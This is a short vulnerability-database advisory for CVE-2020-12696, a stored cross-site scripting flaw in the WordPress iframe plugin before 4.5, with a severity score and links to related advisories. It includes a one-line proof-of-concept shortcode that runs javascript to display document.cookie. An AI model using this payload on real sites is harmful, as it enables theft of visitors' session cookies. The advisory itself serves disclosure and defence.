Lucene search
Guilherme RubertWPVDB-ID:0E9BECAD-7895-40DB-AB65-E53BE0FE8609HistoryMay 07, 2020 - 12:00 a.m.
Iframe < 4.5 - Authenticated Stored Cross Site Scripting (XSS)
2020-05-0700:00:00
Guilherme Rubert
wpscan.com
6
0.001 Low
EPSS
Percentile
36.3%
The iframe plugin before 4.5 does not sanitize a URL.
PoC
[iframe src=“javascript:alert(document.cookie)” width=“100%” height=“500”]
Related
patchstack
patchstack
prion
prion
Design/Logic Flaw
2020-05-07 05:15:00
cve
cve
CVE-2020-12696
2020-05-07 05:15:12
cvelist
cvelist
CVE-2020-12696
2020-05-07 04:39:15
openvas
openvas
WordPress iframe Plugin < 4.5 XSS Vulnerability
2020-05-11 00:00:00
wpexploit
wpexploit
Iframe < 4.5 - Authenticated Stored Cross Site Scripting (XSS)
2020-05-07 00:00:00
nvd
nvd
CVE-2020-12696
2020-05-07 05:15:12
githubexploit
githubexploit
Exploit for Cross-site Scripting in Iframe Project Iframe
2020-05-07 15:16:39